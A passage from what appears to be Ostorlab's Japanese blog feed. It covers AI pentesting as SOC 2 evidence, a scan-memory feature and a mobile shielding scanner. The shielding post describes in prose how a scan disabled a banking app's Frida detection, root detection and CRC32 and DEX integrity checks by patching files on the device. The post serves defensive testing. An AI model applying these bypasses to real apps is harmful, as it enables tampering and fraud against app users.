&lt;p&gt;スキャナーは、AI支援型であるかどうかにかかわらず、コードベースや稼働中の対象に対してパターンマッチを行い、問題がありそうだと判断したものを報告します。検証されないままでは、その出力は検出結果ではなく仮説のリストです。誤検知（フォールスポジティブ）が多く、再現経路もなく、実際の影響を示したエビデンスもありません。これは控えめな人間のペンテストよりも弱い監査エビデンスであり、強いものではありません。何が本物かを知るために、レビュー担当者が作業をやり直さなければならないからです。一度に広いアタックサーフェスをスキャンしても、この計算は変わりません。Web、モバイル、APIのアセットに対してマルチアセットスキャンを並行して実行しても、下流で実際にどれが本物かを確認する仕組みがなければ、1時間あたりに生み出される未検証の仮説が増えるだけです。&lt;/p&gt;
&lt;p&gt;AIの &lt;em&gt;ペンテスト&lt;/em&gt; は、速度だけでなく本質的に異なります。偵察、仮説、テスト、検証、そして決定的に重要な、ある検出結果が別の検出結果と組み合わさってより深刻なものになるかどうかを問うステップがあります。特にCC7.1のエビデンスにとって重要な区別は、レポートが、認証情報が実際のエンドポイントに対して有効であることを実証したと示しているのか、それとも単に「ハードコードされたシークレットの可能性」としてフラグを立てただけなのかです。前者は実証であり、後者はまだ人間が追跡する必要のある手がかりです。&lt;/p&gt;
&lt;p&gt;OstorlabのAgentic Deep Scanは、まさにこの理由から同じ原則に基づいて構築されています。検出フェーズで問題を発見して悪用し、実行可能なリクエスト、それが生み出したレスポンス、そしてそのレスポンスが裏付ける具体的な主張を生成します。その後、人間が目にする前に、別の検証フェーズがエクスプロイトを独立して再実行します。手元にあるトークンではなく新しいトークンを使い、グローバルな設定ミスの可能性を排除するために制御を正しく適用しているエンドポイントと比較し、特定のリクエストによる偶然でないことを確認するために、別の入力形式や時間をおいた繰り返し実行を行います。これが、監査人が行動の根拠にできるエビデンスと、検証作業を下流に先送りするだけのレポートとの違いです。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="同じ検出結果を複数のアカウントにわたって大規模に再テストし、新たに取得したBearerトークンで再確認したことを示す、サニタイズ済みのAgentic Deep Scanの検証エビデンス。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-29_soc2_ai_penetration_testing/validation-phase.png" title="サニタイズ済みのAgentic Deep Scanの検証フェーズのエビデンス"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;サニタイズ済みのAgentic Deep Scanの検証フェーズのエビデンス&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図5：同じ検出結果の検証フェーズ。一度限りの結果である可能性を排除するために複数のアカウントでエクスプロイトを再実行し、さらに新たに取得したトークンで繰り返して、問題が元のセッションに依存していないことを確認します。これは検出の後、検出結果が人間に提示される前に実行されます。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="監査人が実際に見たいエビデンスパッケージ"&gt;監査人が実際に見たいエビデンスパッケージ&lt;/h2&gt;
&lt;p&gt;テストが継続的なものであれ単発の契約であれ、人間によるものであれAIによるものであれ、Type IIに対応したエビデンスパッケージには一般に同じ構成要素が必要です。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;構成要素&lt;/th&gt;
&lt;th style="text-align: left;"&gt;示すもの&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;手法の文書&lt;/td&gt;
&lt;td style="text-align: left;"&gt;何を、どのように、どのようなプロセスでテストしたか（AIエージェントの仮説がどのように生成・検証されたかを含む）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;スコープの記述&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テストプログラムがカバーするシステム、環境、期間と、それらの監査の境界への対応&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;検出結果ごとの実証&lt;/td&gt;
&lt;td style="text-align: left;"&gt;実際の影響を示すリクエスト/レスポンスのペア、再現手順、スクリーンショット、ログ（重大度ラベルだけではない）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;人間によるレビューの記録&lt;/td&gt;
&lt;td style="text-align: left;"&gt;誰が、いつ検出結果をレビューし、どのような判断を下したか。監査人が参照できる、名前を明記した責任の所在&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;修復と再テストのエビデンス&lt;/td&gt;
&lt;td style="text-align: left;"&gt;報告された問題が修正され、その修正が単にクローズ扱いされただけでなく独立して再検証されたことの確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;カバレッジマップ&lt;/td&gt;
&lt;td style="text-align: left;"&gt;テストのエビデンスが監査期間のどの部分に実際にまたがっているか。ギャップが見過ごされず、可視化されるようにする&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;プログラムが監査期間全体についてこれら6つすべてを提示できるなら、個々のテストサイクルをAIエージェントが実行したという事実は実装上の詳細にすぎず、異議の対象にはなりません。&lt;/p&gt;
&lt;h2 id="進行中の監査を混乱させずに継続的なaiテストを導入する"&gt;進行中の監査を混乱させずに継続的なAIテストを導入する&lt;/h2&gt;
&lt;p&gt;実務上の誤りは、AI主導のテストを実施することではありません。監査期間の途中で、誰にも伝えずにエビデンスの形を変えてしまうことです。移行を不意打ちではなく円滑なものにするためのポイントがいくつかあります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;期間が始まる前に監査人と話をする&lt;/strong&gt;。レポートの提出期限が来てからでは遅すぎます。ほとんどの監査人は、より多くのより良いエビデンスに異議を唱えることはありません。異議を唱えるのは、予告なしに見慣れない形式で現れるエビデンスです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;早い段階でサンプルレポートを見せる&lt;/strong&gt;。制御を裏付ける唯一のエビデンスになる前に、検出結果が実証を含めてどのようなものかを確認してもらいます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;頻度と形式を事前に合意する&lt;/strong&gt;。週次、継続的、月次のテストサイクルはいずれも実行可能です。信頼を損なうのは、理由を文書化せずに途中で形式を切り替えることです。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;監査人が望むなら、なじみのある基準点を残す&lt;/strong&gt;。少なくとも最初のサイクルでは、継続的なプログラムの中の一つとして、年1回の、より人間によるレビューの比重が大きい契約のほうが安心だという監査法人もまだあります。これは妥当な移行ステップであり、AIテストが認められないことを認める譲歩ではありません。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まだ定まっていない点"&gt;まだ定まっていない点&lt;/h2&gt;
&lt;p&gt;AICPAのトラストサービス規準には、AIが実施するテストについての明示的な文言はまだなく、AIエージェントの関与をどの程度まで評価できるかについての姿勢は、現時点では監査法人によって異なります。SOC 2監査にエビデンスを直接提供するコンプライアンス自動化プラットフォームは、すでにAIが実施したペネトレーションテストレポートを有効な裏付けエビデンスとして受け入れ始めています。個々の監査法人が依然としてケースごとに独自の基準を設けているとしても、市場のツール側は規格の文言よりも先に進んでいます。十分なエビデンスを備えたAIペンテストレポートをほとんど摩擦なく受け入れる監査法人もあれば、依拠する前に名前を明記した資格ある人間が検出結果をレビューし連署することを求める監査法人もあります。これは妥当な要求であり、抵抗するよりも計画に組み込むべきものです。ガイダンスが実務に追いつくまでは、過剰なくらいに文書化するのがより安全な姿勢です。手法を明示し、すべてのレポートに責任を負う人間を置き、監査人からの反発をアプローチの否定ではなくスコープについての話し合いとして扱いましょう。&lt;/p&gt;
&lt;h2 id="よくある質問"&gt;よくある質問&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SOC 2はペネトレーションテストを要求しているか。&lt;/strong&gt;明示的には要求していません。トラストサービス規準は、制御が有効であること（CC4.1）と脆弱性が特定されていること（CC7.1）のエビデンスを求めており、ペネトレーションテストはそのエビデンスを生み出すための受け入れられた方法になっています。ただしこれは、規準に基づく監査人の期待であって、フレームワークの本文で名指しされた要件ではありません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;AIエージェントの検出結果はCC7.1のエビデンス要件を満たせるか。&lt;/strong&gt;検出結果がモデルの生の出力ではなく検証済みのものであれば、満たせます。それぞれの検出結果には、パターンマッチに割り当てられた重大度スコアではなく、悪用可能性の再現可能な実証が必要です。検証されていないAI生成の手がかりは、検証されていないスキャナーのアラートと同様に基準を満たしません。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;完全に自律的で、レビューされていないAIペンテストレポートはSOC 2で受け入れられるか。&lt;/strong&gt;一般的には受け入れられません。監査人は、依拠するあらゆるレポートの背後に、名前を明記した責任ある人物がいることを期待します。テストはAIエージェントが実行できますが、資格ある人間が結果をレビューし、その内容に責任を持つ必要があります。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;コンプライアンスの観点で、AIペンテストは脆弱性スキャンとどう違うか。&lt;/strong&gt;スキャンは問題がありそうなものを報告し、ペンテストは、AIによるものであれ人間によるものであれ、偵察、仮説、テスト、検証を通じて実際に悪用可能なものを実証します。監査人は検証されていないスキャン出力を弱いエビデンスとして扱います。何が本物かを判断するために、依然として人間が必要だからです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;継続的なAIテストと並行して、年1回の手動ペンテストを続けるべきか。&lt;/strong&gt;少なくとも移行期間中は、多くの組織がそうしています。監査人がなじみのある基準点を求めているか、あるいは定期的な人間主導の契約が判断に基づくテスト（ビジネスロジック、ソーシャルエンジニアリングに近いシナリオ）を追加し、体系的なAIのカバレッジと重複するのではなく補完するためです。&lt;/p&gt;
&lt;h2 id="結論"&gt;結論&lt;/h2&gt;
&lt;p&gt;SOC 2が評価していたのは、最初からツールではなくエビデンスでした。完全にAIエージェントによって実施されたペネトレーションテストはSOC 2 Type II監査を満たすことができ、継続的なテストは監査が証明する期間に自然とまたがるため、いくつかの点では年1回の単発の契約よりも期間ベースのエビデンスモデルによく適合します。ただし、そもそもツールとは関係のなかった部分を省くことはできません。再現可能な実証、監査人が実際に読める手法、レポートに責任を持つ名前を明記した人間、そして開始前に全員が合意したスコープです。これらを正しく整えれば、テストがコンサルティング会社の決めたスケジュールで実行されたのか、午前2時に仮説を検討するエージェントによって実行されたのかは、もはや興味深い問いではなくなります。&lt;/p&gt;
&lt;p&gt;より興味深いのは、同じ論理がSOC 2以外に適用されたときに何が起きるかという問いです。PCI DSS、HIPAA、その他さまざまなコンプライアンス規格も、同じ考え方に依拠しています。書類上存在するだけの制御ではなく、攻撃を受けても持ちこたえる制御です。それらの規格がこの問いに対するAIによる答えを受け入れる準備ができているかどうかについては、別の記事で取り上げます。&lt;/p&gt;</content><category term="Security"/><category term="Security"/><category term="SOC 2"/><category term="Compliance"/><category term="AI Pentesting"/><category term="Agentic Deep Scan"/><category term="Penetration Testing"/></entry><entry><title>Agentic Scan Knowledgeの紹介：決して忘れないスキャナー</title><link href="https://blog.ostorlab.co/ja/Agentic-scan-knowledge.html" rel="alternate"/><published>2026-08-05T09:58:00+02:00</published><updated>2026-08-05T09:58:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-08-05:/ja/Agentic-scan-knowledge.html</id><summary type="html">&lt;p&gt;Agentic Scan Knowledgeは、Ostorlabのセキュリティエージェントに永続的なアプリケーションコンテキストを与え、すべてのスキャンがゼロから始め直すのではなく、過去のテストの上に積み重ねられるようにします。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;どのセキュリティスキャンも、まっさらな状態から始まります。スキャナーはアプリケーションを再発見し、同じ作業を繰り返し、テストが終わるとすぐにすべてを忘れてしまいます。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;それが従来のスキャナーの動き方だったかもしれません。しかし、継続的なセキュリティテストはそうあるべきではありません。&lt;/p&gt;
&lt;p&gt;本日、スキャンのたびに成長し続ける永続的なアプリケーション知識の集合体である&lt;strong&gt;Agentic Scan Knowledge&lt;/strong&gt;を紹介します。Ostorlabのセキュリティエージェントがアプリケーションを調査する際、学んだことを保持し、そのコンテキストを今後のスキャンで利用できるようにします。&lt;/p&gt;
&lt;p&gt;その結果、単に再実行するだけではないスキャナーが生まれます。すでに知っていることの上に積み重ねていくのです。&lt;/p&gt;
&lt;h2 id="どのスキャンも、前回の上に積み重ねるべき"&gt;どのスキャンも、前回の上に積み重ねるべき&lt;/h2&gt;
&lt;p&gt;従来のスキャナーは、各スキャンを独立した出来事として扱います。同じアプリケーションがすでに何度もテストされていても、次のスキャンは見慣れた構造を再発見し、既知の経路をたどり直すことから始まります。&lt;/p&gt;
&lt;p&gt;これは三つの問題を生み出します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;偵察の繰り返し：&lt;/strong&gt;認証フロー、技術、エントリポイント、アプリケーション構造の再発見に時間が費やされます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;コンテキストの喪失：&lt;/strong&gt;検出結果の背後にあるアクション、エビデンス、論理が、次のスキャンと切り離されてしまいます。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;深さの限界：&lt;/strong&gt;既知の経路を再訪するのに費やされる時間は、新しい挙動やより複雑な脆弱性の調査には使えない時間です。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;継続的にテストしているチームにとって、これは必ずしもセキュリティ知識を積み重ねることなく、より多くのスキャンを実行することを意味します。&lt;/p&gt;
&lt;h2 id="永続的なアプリケーション知識を持つスキャナー"&gt;永続的なアプリケーション知識を持つスキャナー&lt;/h2&gt;
&lt;p&gt;Agentic Scan Knowledgeは、その出発点を変えます。&lt;/p&gt;
&lt;p&gt;Ostorlabのセキュリティエージェントは作業しながら、アプリケーションについて学んだこと、探索した経路、取ったアクション、そして生み出したエビデンスを記録します。その知識は、今後のスキャンに情報を与え得る、検索可能で成長し続ける記録の一部になります。&lt;/p&gt;
&lt;p&gt;毎回アプリケーションを見知らぬ相手のように扱う代わりに、スキャナーはアプリケーションに対する長期的な習熟を育みます。それは、関わるたびに有能になっていく専任のセキュリティパートナーによく似ています。&lt;/p&gt;
&lt;p&gt;各スキャンが次のスキャンに寄与します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Agentic Scan Knowledgeは、連携したスキャンから得た情報を検索可能なビューに整理します。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-05_agentic_scan_knowledge/knowledge.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Agentic Scan Knowledgeは、蓄積されたスキャンのコンテキストを、ワークスペース、リスク、脆弱性ごとに整理して一か所にまとめます。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="スキャナーが記憶すること"&gt;スキャナーが記憶すること&lt;/h2&gt;
&lt;p&gt;Agentic Scan Knowledgeは、アプリケーションとそれに対して行われたテストの両方を理解するために必要なコンテキストを保持します。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;アプリケーションコンテキスト：&lt;/strong&gt;アーキテクチャ、技術スタック、認証フロー。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;アタックサーフェスのコンテキスト：&lt;/strong&gt;関連するエントリポイント、パラメーター、アプリケーション内の経路。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;テスト履歴：&lt;/strong&gt;何を試み、何がうまくいき、何がうまくいかなかったか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;判断の記録：&lt;/strong&gt;各エージェントのアクションや検出結果の根拠となった観察とエビデンス。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;うまくいかなかった試みでさえ、有用な知識になり得ます。スキャンの終わりに消えてしまうのではなく、今後のエージェントが既知の行き止まりを避け、労力を他に集中させるのに役立ちます。&lt;/p&gt;
&lt;h2 id="積み重なっていくセキュリティ知識"&gt;積み重なっていくセキュリティ知識&lt;/h2&gt;
&lt;p&gt;永続的な知識は、スキャンの繰り返しで達成できることを変えます。&lt;/p&gt;
&lt;h3 id="繰り返しの作業の削減"&gt;繰り返しの作業の削減&lt;/h3&gt;
&lt;p&gt;今後のスキャンは、見慣れたアプリケーションの挙動を再発見するのに同じ労力を費やす代わりに、以前の偵察の上に積み重ねることができます。&lt;/p&gt;
&lt;h3 id="より深い調査のための余地"&gt;より深い調査のための余地&lt;/h3&gt;
&lt;p&gt;エージェントがすでに完了した作業を繰り返す必要がなければ、スキャンのより多くを新しい経路、変化した挙動、そしてより複雑なテストに充てることができます。&lt;/p&gt;
&lt;h3 id="組織にとっての永続的な記録"&gt;組織にとっての永続的な記録&lt;/h3&gt;
&lt;p&gt;重要なアプリケーション知識は、チームが変わってもアクセス可能なまま残ります。検出結果はもはや孤立したスキャンの出力ではなく、それを生み出した試みやエビデンスと結びついた継続的な記録の一部になります。&lt;/p&gt;
&lt;h3 id="エージェントの活動へのより明確な可視性"&gt;エージェントの活動へのより明確な可視性&lt;/h3&gt;
&lt;p&gt;チームは、エージェントが何を観察し、何を試み、どのエビデンスが結果を裏付けたかを確認できます。検出結果の背後にある作業は、ブラックボックスの中に隠れるのではなく、可視化されます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="脆弱性、裏付けとなる分析、検証エビデンスを示す、詳細なAgentic Scan Knowledgeの記録。" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-05_agentic_scan_knowledge/detailed.png"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;各知識レコードは、結果を、それを生み出した分析、試み、エビデンスと結びつけます。&lt;/em&gt;&lt;/p&gt;
&lt;h2 id="継続的なセキュリティテストのために作られた"&gt;継続的なセキュリティテストのために作られた&lt;/h2&gt;
&lt;p&gt;継続的なテストプログラムを運用するセキュリティチームにとって、Agentic Scan Knowledgeはスキャンをまたいだ連続性を生み出します。&lt;/p&gt;
&lt;p&gt;頻繁にリリースを出荷するエンジニアリング組織にとっては、すべての新バージョンをまったく未知のアプリケーションとして扱うことなく、より速いフィードバックを支えます。&lt;/p&gt;
&lt;p&gt;規制対象の組織にとっては、何が、いつテストされ、何が実証されたのかについての、永続的で実証に裏付けられた履歴を提供します。&lt;/p&gt;
&lt;h2 id="どのスキャンも、次のスキャンをより良くするべき"&gt;どのスキャンも、次のスキャンをより良くするべき&lt;/h2&gt;
&lt;p&gt;継続的なテストは、切り離されたレポートの連なり以上のものを生み出すべきです。アプリケーションと、その安全性が時間とともにどう変化するかについての、成長し続ける理解を生み出すべきです。&lt;/p&gt;
&lt;p&gt;Agentic Scan Knowledgeがあれば、すべての調査がその理解に寄与します。スキャナーは学んだことを記憶し、作業の背後にあるエビデンスを保持し、次のスキャンを以前よりも十分な情報をもって開始します。&lt;/p&gt;
&lt;p&gt;アプリケーションは進化します。これからは、スキャナーの知識もそれとともに進化します。&lt;/p&gt;
&lt;h3 id="次のスキャンをより賢く"&gt;次のスキャンをより賢く&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://report.ostorlab.co/scan/new"&gt;Agentic Scanを実行する&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="Scan"/><category term="Mobile"/><category term="Agentic"/></entry><entry><title>Ostorlab Mobile Shielding Scanのご紹介</title><link href="https://blog.ostorlab.co/ja/shielding-scan.html" rel="alternate"/><published>2026-08-04T18:39:00+02:00</published><updated>2026-08-04T18:39:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-08-04:/ja/shielding-scan.html</id><summary type="html">&lt;p&gt;Ostorlab Mobile Shielding Scanは、root検知、改ざん防止、証明書ピンニング、難読化など、AndroidとiOSの保護機能を実際のバイパス手法に対してテストします。&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;strong&gt;モバイルシールディングは簡単にバイパスできる。意志の固い攻撃者はいずれにせよ突破するのだから、テストしても何も変わらない。&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;この見方は、シールディングが本来約束していないことを求めています。&lt;/p&gt;
&lt;p&gt;シールディングは、アプリケーションのリバースエンジニアリングを不可能にするためのものではありません。改ざん、計装、トラフィックの傍受、コード解析を大幅に困難にするためのものです。&lt;/p&gt;
&lt;p&gt;本当の問題は、特にAIを活用したリバースエンジニアリングと計装の時代において、シールディングがどれだけの抵抗を生み出すかです。&lt;/p&gt;
&lt;p&gt;root検知が存在していても、最新の隠蔽手法の前では機能しないことがあります。証明書ピンニングが一つのネットワーク経路を保護していても、別の経路は露出したままかもしれません。整合性チェックが改変を検知しても、アプリケーションの実行が継続されてしまうことがあります。&lt;/p&gt;
&lt;p&gt;保護機能が存在することを知るのは有用です。しかし、チームに確信を与えるのは、誰かがそれを攻撃したときに何が起きるかを知ることです。また、多額の費用を支払っているシールディングソリューションにその価値があるかどうかを知ることでもあります。&lt;/p&gt;
&lt;p&gt;これこそが、Ostorlabの新しい&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;が示すために作られたものです。&lt;/p&gt;
&lt;h2 id="スキャンは見つけたものを攻撃する"&gt;スキャンは見つけたものを攻撃する&lt;/h2&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="バイパスの成功" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-04_SHIELDING/bypass.webp"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Mobile Shielding Scanは、AndroidおよびiOSアプリケーションが、リバースエンジニアリングや改ざんに対してどのように自らを防御しているかを評価します。&lt;/p&gt;
&lt;p&gt;まずアプリケーションを解析し、root/ジェイルブレイク検知、改ざん防止と整合性の制御、アンチデバッグ、アンチ計装、証明書ピンニング、コードや文字列の難読化を特定します。&lt;/p&gt;
&lt;p&gt;次に、実機上でアプリケーションを実行し、そのワークフローをたどって、これらの保護機能が作動するポイントに到達します。一部の制御は、認証後、決済中、あるいは機密性の高い機能を開いたときにしか実行されません。保護機能が実際の利用中に一度も作動しないのであれば、その基盤となるコードを見つけるだけでは不十分です。&lt;/p&gt;
&lt;p&gt;制御に到達すると、スキャンはそれを無効化しようと試みます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="成功した試行" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-08-04_SHIELDING/successful attempt.webp"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;スキャンは、アプリケーションの再パッケージと再署名、Fridaなどのツールによる実行時の計装のアタッチ、root化された端末の痕跡の隠蔽、ネットワークトラフィックの傍受、アプリケーションやライブラリのコードへのパッチ適用、整合性チェックの操作を行うことができます。&lt;/p&gt;
&lt;p&gt;調査を主導するのはAIエージェントです。AIエージェントはインターフェースを監視し、ログを読み、アプリケーションがどのように応答するかを解釈します。クラッシュ、警告ダイアログ、ブロックされたリクエスト、無言での終了、あるいは気づかないうちに機能しなくなるワークフローは、いずれも防御が反応したかどうかを示す手がかりになりえます。&lt;/p&gt;
&lt;p&gt;エージェントはそのエビデンスを用いて次の手法を選び、再び試行します。このプロセスは、手動のリバースエンジニアリング評価と同じ基本的なループ、すなわち観察、攻撃、解釈、適応に従います。&lt;/p&gt;
&lt;p&gt;スキャンは、アップロードされたビルドに対しても、ストアの掲載ページから直接でも実行できます。&lt;/p&gt;
&lt;h2 id="3つの保護機能に端末上で直接パッチを適用"&gt;3つの保護機能に端末上で直接パッチを適用&lt;/h2&gt;
&lt;p&gt;以下の例は、識別情報を削除したうえで、実際のスキャンに基づいています。&lt;/p&gt;
&lt;p&gt;ある銀行アプリケーションは、ネイティブライブラリ&lt;code&gt;libsecurity.so&lt;/code&gt;とDEXコードにわたって、3つのクライアント側の保護機能を実装していました。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;JNI_OnLoad&lt;/code&gt;のチェックが、&lt;code&gt;/proc/self/maps&lt;/code&gt;をスキャンしてFridaの痕跡を探し、&lt;code&gt;su&lt;/code&gt;バイナリやテストキーを検索していました。疑わしいものを見つけると&lt;code&gt;_exit(1)&lt;/code&gt;を呼び出していました。&lt;/li&gt;
&lt;li&gt;ネイティブの整合性チェックが、ライブラリ自身のバイトに対してCRC32チェックサムを計算し、マーカー文字列の横に保存された値と比較していました。&lt;/li&gt;
&lt;li&gt;Javaメソッド&lt;code&gt;HookDetector.isHooked()&lt;/code&gt;が、プロセスマップ、スレッド名、Fridaのデフォルトポートである&lt;code&gt;27042&lt;/code&gt;と&lt;code&gt;27043&lt;/code&gt;を検索していました。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;書面上では、このアプリケーションはアンチ計装、root検知、整合性保護を備えていました。弱点は、すべての制御が完全に端末上に保存されたファイルと判定に依存していたことです。&lt;/p&gt;
&lt;p&gt;アプリケーションは&lt;code&gt;extractNativeLibs=false&lt;/code&gt;を使用しており、そのためネイティブライブラリはインストールされたAPK内に非圧縮のまま残り、そこから直接読み込まれていました。DEXコードは端末のVDEXファイルから実行されていました。root化された端末では、どちらもその場で改変できました。&lt;/p&gt;
&lt;p&gt;スキャンは&lt;code&gt;JNI_OnLoad&lt;/code&gt;内の終了分岐にパッチを適用し、&lt;code&gt;_exit(1)&lt;/code&gt;を呼び出す代わりに正常なリターン経路をたどるようにしました。ライブラリを改変するとチェックサムが変わるため、スキャンはCRC32の値を再計算し、新しい結果を保存先のフィールドに書き込みました。整合性チェックは引き続き実行されましたが、パッチを適用したライブラリを有効なものと見なすようになりました。&lt;/p&gt;
&lt;p&gt;次に、VDEXファイル内の&lt;code&gt;HookDetector.isHooked()&lt;/code&gt;を改変し、常に&lt;code&gt;false&lt;/code&gt;を返すようにしました。変更後、スキャンはコードが正しく読み込まれるために必要なDEXのAdler-32チェックサムとSHA-1チェックサムを修復しました。&lt;/p&gt;
&lt;p&gt;これらの変更はいずれも、アプリケーションの再ビルド、再パッケージ、再署名を必要としませんでした。&lt;/p&gt;
&lt;p&gt;アプリケーションの署名チェックは攻撃を防げませんでした。Androidはインストール時に元の署名証明書をキャッシュしており、ディスク上で改変されたファイルを再検証しなかったためです。&lt;/p&gt;
&lt;p&gt;3つのパッチをすべて適用し、Fridaの痕跡が&lt;code&gt;/proc/self/maps&lt;/code&gt;にまだ見える状態で、アプリケーションは1分以上にわたって認証済みセッションを維持し、複数の画面を移動し、バックグラウンドで繰り返し実行される整合性チェックを、何の反応もなく通過しました。&lt;/p&gt;
&lt;p&gt;3つの保護機能は、元のビルドに存在し、有効になっていました。しかし、いずれもサーバー側での独立した確認を伴わないクライアント側のコードに依存していたため、3つとも、保護対象であるはずの端末上で改変できてしまいました。&lt;/p&gt;
&lt;p&gt;チェックリストであれば、アンチ計装、root検知、整合性保護は「存在する」と報告されたでしょう。能動的なテストは、それぞれがどのようにしてパッチで無効化できるかを正確に示しました。&lt;/p&gt;
&lt;h2 id="エビデンスに裏付けられた判定"&gt;エビデンスに裏付けられた判定&lt;/h2&gt;
&lt;p&gt;各保護機能は、反応して持ちこたえた場合は&lt;strong&gt;Secure&lt;/strong&gt;、存在しない、無効である、またはバイパスされた場合は&lt;strong&gt;Hardening&lt;/strong&gt;と判定されます。アプリケーションが通常どおり動作し続けるのであれば、検知だけでは不十分です。&lt;/p&gt;
&lt;p&gt;失敗した防御には、再現可能なバイパス手順が含まれます。成功した防御は、攻撃を受けた状態で確認されます。検出結果は報告前に検証され、新しい指示を与えて異議を唱えたり再実行したりすることができます。&lt;/p&gt;
&lt;h2 id="リリースのたびに結果は変わりうる"&gt;リリースのたびに結果は変わりうる&lt;/h2&gt;
&lt;p&gt;ビルドの変更やSDKのアップグレードは、アプリケーションを壊したりデリバリーパイプラインを止めたりすることなく、シールディングを弱める可能性があります。&lt;/p&gt;
&lt;p&gt;スキャンを繰り返すことで、いま出荷されているアプリケーションとビルドにおいて、何が持ちこたえているかがわかります。&lt;/p&gt;
&lt;h2 id="シールディングが何に耐えられるかを把握する"&gt;シールディングが何に耐えられるかを把握する&lt;/h2&gt;
&lt;p&gt;Mobile Shielding Scanは、どの防御が持ちこたえ、どの防御が失敗したか、そしてその結果がどのように実証されたかを示します。&lt;/p&gt;
&lt;p&gt;シールディングは、アプリケーションへの攻撃を不可能にする必要はありません。必要なのは抵抗を生み出し、それを実証することです。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href="https://ostorlab.co/product/mobile_shielding"&gt;自社のモバイルシールディングが何に耐えられるかをテストする。&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;</content><category term="Product"/><category term="Security"/><category term="Shielding"/><category term="Mobile"/></entry><entry><title>Ostorlabのオンプレミス脆弱性スキャナーを発表</title><link href="https://blog.ostorlab.co/ja/on-premise-vulnerability-scanner-announcement.html" rel="alternate"/><published>2026-08-04T13:37:00+02:00</published><updated>2026-08-04T13:37:00+02:00</updated><author><name>Bilal Harras</name></author><id>tag:blog.ostorlab.co,2026-08-04:/ja/on-premise-vulnerability-scanner-announcement.html</id><summary type="html">&lt;p&gt;自社のローカルインフラ内に潜むセキュリティ上の欠陥を特定し、そのコンテキストを明らかにするために設計された、Ostorlabオンプレミス脆弱性スキャナーの一般提供開始を発表します。&lt;/p&gt;</summary><content type="html">&lt;h1 